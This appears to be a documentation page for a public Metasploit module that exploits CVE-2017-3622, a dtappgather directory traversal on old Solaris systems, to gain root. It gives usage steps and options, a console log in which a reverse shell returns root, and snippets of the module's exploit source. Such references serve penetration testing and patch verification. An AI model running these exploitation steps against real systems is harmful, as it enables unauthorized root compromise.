Solaris 'EXTREMEPARR' dtappgather Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/solaris/local/extremeparr_dtappgather_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Solaris 'EXTREMEPARR' dtappgather Privilege Escalation
Module: exploit/solaris/local/extremeparr_dtappgather_priv_esc
Source code: modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb
Disclosure date: 2017-04-24
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64, sparc
Supported platform(s): Solaris, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-3622

This module is also known as EXTREMEPARR.

This module exploits a directory traversal vulnerability in the dtappgather executable included with Common Desktop Environment (CDE) on unpatched Solaris systems prior to Solaris 10u11 which allows users to gain root privileges. dtappgather allows users to create a user-owned directory at any location on the filesystem using the DTUSERSESSION environment variable. This module creates a directory in /usr/lib/locale, writes a shared object to the directory, and runs the specified SUID binary with the shared object loaded using the LC_TIME environment variable. This module has been tested successfully on: Solaris 9u7 (09/04) (x86); Solaris 10u1 (01/06) (x86); Solaris 10u2 (06/06) (x86); Solaris 10u4 (08/07) (x86); Solaris 10u8 (10/09) (x86); Solaris 10u9 (09/10) (x86).

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/solaris/local/extremeparr_dtappgather_priv_esc
msf exploit(extremeparr_dtappgather_priv_esc) > show targets
    ... a list of targets ...
msf exploit(extremeparr_dtappgather_priv_esc) > set TARGET target-id
msf exploit(extremeparr_dtappgather_priv_esc) > show options
    ... show and set options ...
msf exploit(extremeparr_dtappgather_priv_esc) > set SESSION session-id
msf exploit(extremeparr_dtappgather_priv_esc) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module exploits a directory traversal vulnerability in the dtappgather executable included with Common Desktop Environment (CDE) on unpatched Solaris systems prior to Solaris 10u11 which allows users to gain root privileges.

dtappgather allows users to create a user-owned directory at any location on the filesystem using the DTUSERSESSION environment variable.

This module creates a directory in /usr/lib/locale, writes a shared object to the directory, and runs the specified SUID binary with the shared object loaded using the LC_TIME environment variable.

Vulnerable Application


This module has been tested successfully on:

  • Solaris 9u7 (09/04) (x86)
  • Solaris 10u1 (01/06) (x86)
  • Solaris 10u2 (06/06) (x86)
  • Solaris 10u4 (08/07) (x86)
  • Solaris 10u8 (10/09) (x86)
  • Solaris 10u9 (09/10) (x86)

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. Do: use exploit/solaris/local/extremeparr_dtappgather_priv_esc
  4. Do: set SESSION [SESSION]
  5. Do: run
  6. You should get a new root session

Options


SESSION

Which session to use, which can be viewed with sessions.

DTAPPGATHER_PATH

Path to dtappgather executable. (default: /usr/dt/bin/dtappgather)

SUID_PATH

Path to suid executable. (default: /usr/bin/at)

Some useful example SUID executables:

  • /usr/bin/at
  • /usr/bin/cancel
  • /usr/bin/chkey
  • /usr/bin/lp
  • /usr/bin/lpset
  • /usr/bin/lpstat
  • /usr/lib/lp/bin/netpr
  • /usr/sbin/lpmove

Scenarios


Solaris 10u1 (x86)

  msf5 > use exploit/solaris/local/extremeparr_dtappgather_priv_esc 
  msf5 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > set session 1
  session => 1
  msf5 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > set lhost 172.16.191.196
  lhost => 172.16.191.196
  msf5 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > run

  [*] Started reverse TCP handler on 172.16.191.196:4444 
  [+] Created directory /usr/lib/locale/ExDmW
  [*] Writing '/tmp/.Wfy7WpcZej/.pv7h2R.c' (170 bytes) ...
  [*] Writing '/tmp/.Wfy7WpcZej/.uGjK3nLc5' (175 bytes) ...
  [*] Executing payload...
  [!] Tried to delete /var/dt/appconfig/appmanager, unknown result
  [+] Deleted /tmp/.Wfy7WpcZej/.pv7h2R.c
  [+] Deleted /tmp/.Wfy7WpcZej/.pv7h2R
  [+] Deleted /usr/lib/locale/ExDmW/ExDmW.so.2
  [+] Deleted /usr/lib/locale/ExDmW/ExDmW.so.3
  [+] Deleted /tmp/.Wfy7WpcZej/.uGjK3nLc5
  [+] Deleted /usr/lib/locale/ExDmW
  [+] Deleted /tmp/.Wfy7WpcZej

  id
  uid=0(root) gid=0(root)
  uname -a
  SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc
  cat /etc/release
                          Solaris 10 1/06 s10x_u1wos_19a X86
             Copyright 2005 Sun Microsystems, Inc.  All Rights Reserved.
                          Use is subject to license terms.
                             Assembled 07 December 2005

Go back to menu.

Msfconsole Usage


Here is how the solaris/local/extremeparr_dtappgather_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/solaris/local/extremeparr_dtappgather_priv_esc

[*] Using configured payload solaris/x86/shell_reverse_tcp
msf6 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > show info

       Name: Solaris 'EXTREMEPARR' dtappgather Privilege Escalation
     Module: exploit/solaris/local/extremeparr_dtappgather_priv_esc
   Platform: Solaris, Unix
       Arch: x86, x64, sparc
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-24

Provided by:
  Shadow Brokers
  Hacker Fantastic
  bcoles <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Auto

Check supported:
  Yes

Basic options:
  Name              Current Setting          Required  Description
  ----              ---------------          --------  -----------
  DTAPPGATHER_PATH  /usr/dt/bin/dtappgather  yes       Path to dtappgather executable
  SESSION                                    yes       The session to run this module on.
  SUID_PATH         /usr/bin/at              yes       Path to suid executable

Payload information:

Description:
  This module exploits a directory traversal vulnerability in the 
  `dtappgather` executable included with Common Desktop Environment 
  (CDE) on unpatched Solaris systems prior to Solaris 10u11 which 
  allows users to gain root privileges. dtappgather allows users to 
  create a user-owned directory at any location on the filesystem 
  using the `DTUSERSESSION` environment variable. This module creates 
  a directory in `/usr/lib/locale`, writes a shared object to the 
  directory, and runs the specified SUID binary with the shared object 
  loaded using the `LC_TIME` environment variable. This module has 
  been tested successfully on: Solaris 9u7 (09/04) (x86); Solaris 10u1 
  (01/06) (x86); Solaris 10u2 (06/06) (x86); Solaris 10u4 (08/07) 
  (x86); Solaris 10u8 (10/09) (x86); Solaris 10u9 (09/10) (x86).

References:
  http://www.securityfocus.com/bid/97774
  https://nvd.nist.gov/vuln/detail/CVE-2017-3622
  https://www.exploit-db.com/exploits/41871
  https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh
  http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html

Also known as:
  EXTREMEPARR

Module Options


This is a complete list of options available in the solaris/local/extremeparr_dtappgather_priv_esc exploit:

msf6 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > show options

Module options (exploit/solaris/local/extremeparr_dtappgather_priv_esc):

   Name              Current Setting          Required  Description
   ----              ---------------          --------  -----------
   DTAPPGATHER_PATH  /usr/dt/bin/dtappgather  yes       Path to dtappgather executable
   SESSION                                    yes       The session to run this module on.
   SUID_PATH         /usr/bin/at              yes       Path to suid executable

Payload options (solaris/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Auto

Advanced Options


Here is a complete list of advanced options supported by the solaris/local/extremeparr_dtappgather_priv_esc exploit:

msf6 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > show advanced

Module advanced options (exploit/solaris/local/extremeparr_dtappgather_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                10               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (solaris/x86/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AppendExit                  false            no        Append a stub that executes the exit(0) system call
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the solaris/local/extremeparr_dtappgather_priv_esc module can exploit:

msf6 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Auto

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the solaris/local/extremeparr_dtappgather_priv_esc exploit:

msf6 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > show payloads

Compatible Payloads
===================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  payload/generic/custom                                    normal  No     Custom Payload
   1  payload/generic/debug_trap                                normal  No     Generic x86 Debug Trap
   2  payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   3  payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   4  payload/generic/tight_loop                                normal  No     Generic x86 Tight Loop
   5  payload/solaris/sparc/shell_bind_tcp                      normal  No     Solaris Command Shell, Bind TCP Inline
   6  payload/solaris/sparc/shell_reverse_tcp                   normal  No     Solaris Command Shell, Reverse TCP Inline
   7  payload/solaris/x86/shell_bind_tcp                        normal  No     Solaris Command Shell, Bind TCP Inline
   8  payload/solaris/x86/shell_reverse_tcp                     normal  No     Solaris Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the solaris/local/extremeparr_dtappgather_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PATH>.c failed to compile


Here is a relevant code snippet related to the "<PATH>.c failed to compile" error message:

112:	    upload "#{path}.c", data
113:	
114:	    output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
115:	    unless output.blank?
116:	      print_error output
117:	      fail_with Failure::Unknown, "#{path}.c failed to compile"
118:	    end
119:	
120:	    register_file_for_cleanup path
121:	  end
122:	

<PATH> is not setuid


Here is a relevant code snippet related to the "<PATH> is not setuid" error message:

128:	  end
129:	
130:	  def check
131:	    [dtappgather_path, suid_bin_path].each do |path|
132:	      unless setuid? path
133:	        vprint_error "#{path} is not setuid"
134:	        return CheckCode::Safe
135:	      end
136:	      vprint_good "#{path} is setuid"
137:	    end
138:	

gcc is not installed


Here is a relevant code snippet related to the "gcc is not installed" error message:

135:	      end
136:	      vprint_good "#{path} is setuid"
137:	    end
138:	
139:	    unless has_gcc?
140:	      vprint_error 'gcc is not installed'
141:	      return CheckCode::Safe
142:	    end
143:	    vprint_good 'gcc is installed'
144:	
145:	    version = kernel_release

Could not determine Solaris version


Here is a relevant code snippet related to the "Could not determine Solaris version" error message:

142:	    end
143:	    vprint_good 'gcc is installed'
144:	
145:	    version = kernel_release
146:	    if version.to_s.eql? ''
147:	      vprint_error 'Could not determine Solaris version'
148:	      return CheckCode::Detected
149:	    end
150:	
151:	    unless Rex::Version.new(version).between? Rex::Version.new('5.7'), Rex::Version.new('5.10')
152:	      vprint_error "Solaris version #{version} is not vulnerable"

Solaris version <VERSION> is not vulnerable


Here is a relevant code snippet related to the "Solaris version <VERSION> is not vulnerable" error message:

147:	      vprint_error 'Could not determine Solaris version'
148:	      return CheckCode::Detected
149:	    end
150:	
151:	    unless Rex::Version.new(version).between? Rex::Version.new('5.7'), Rex::Version.new('5.10')
152:	      vprint_error "Solaris version #{version} is not vulnerable"
153:	      return CheckCode::Safe
154:	    end
155:	    vprint_good "Solaris version #{version} appears to be vulnerable"
156:	
157:	    CheckCode::Appears

Session already has root privileges


Here is a relevant code snippet related to the "Session already has root privileges" error message:

157:	    CheckCode::Appears
158:	  end
159:	
160:	  def exploit
161:	    if is_root?
162:	      fail_with Failure::BadConfig, 'Session already has root privileges'
163:	    end
164:	
165:	    unless writable? datastore['WritableDir']
166:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
167:	    end

<WRITABLEDIR> is not writable


Here is a relevant code snippet related to the "<WRITABLEDIR> is not writable" error message:

161:	    if is_root?
162:	      fail_with Failure::BadConfig, 'Session already has root privileges'
163:	    end
164:	
165:	    unless writable? datastore['WritableDir']
166:	      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
167:	    end
168:	
169:	    # Remove appmanager directory and contents
170:	    appmanager_path = '/var/dt/appconfig/appmanager'
171:	    vprint_status "Cleaning appmanager directory #{appmanager_path}"

Could not create directory <NEW_DIR>


Here is a relevant code snippet related to the "Could not create directory <NEW_DIR>" error message:

184:	      cmd_exec "DTUSERSESSION=.. /usr/dt/bin/dtappgather"
185:	    end
186:	    symlink locale_path, appmanager_path
187:	    cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}"
188:	    unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name
189:	      fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}"
190:	    end
191:	
192:	    print_good "Created directory #{new_dir}"
193:	    register_dir_for_cleanup new_dir
194:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Shadow Brokers
  • Hacker Fantastic
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.